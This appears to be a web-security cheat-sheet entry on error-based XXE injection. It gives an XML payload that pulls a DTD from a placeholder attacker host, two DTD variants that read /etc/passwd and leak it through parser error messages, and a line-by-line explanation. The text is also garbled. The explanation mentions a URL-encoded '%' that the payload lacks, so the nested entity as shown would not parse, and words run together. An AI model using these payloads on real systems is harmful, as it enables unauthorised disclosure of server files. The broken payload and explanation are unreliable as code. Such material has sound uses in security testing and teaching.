XXE Injection: Error Based - Using Remote DTD
Payload to trigger the XXE:
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % ext SYSTEM "http://[ATTACKER.DOMAIN.TLD]/ext.dtd">
%ext;
]>
<message></message>Content of ext.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;Alternative content of ext.dtd:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % leak SYSTEM '%data;:///'>">
%eval;
%leak;Let's break down the payload:
<!ENTITY % file SYSTEM "file:///etc/passwd">This line defines an external entity named file that references the content of the file /etc/passwd (a Unix-like system file containing user account details).<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">This line defines an entity eval that holds another entity definition. This other entity (error) is meant to reference a nonexistent file and append the content of the file entity (the/etc/passwdcontent) to the end of the file path. The%is a URL-encoded '%' used to reference an entity inside an entity definition.%eval;This line uses the eval entity, which causes the entity error to be defined.%error;Finally, this line uses the error entity, which attempts to access a nonexistent file with a path that includes the content of/etc/passwd. Since the file doesn't exist, an error will be thrown. If the application reports back the error to the user and includes the file path in the error message, then the content of/etc/passwdwould be disclosed as part of the error message, revealing sensitive information.
Comments
No comments yet.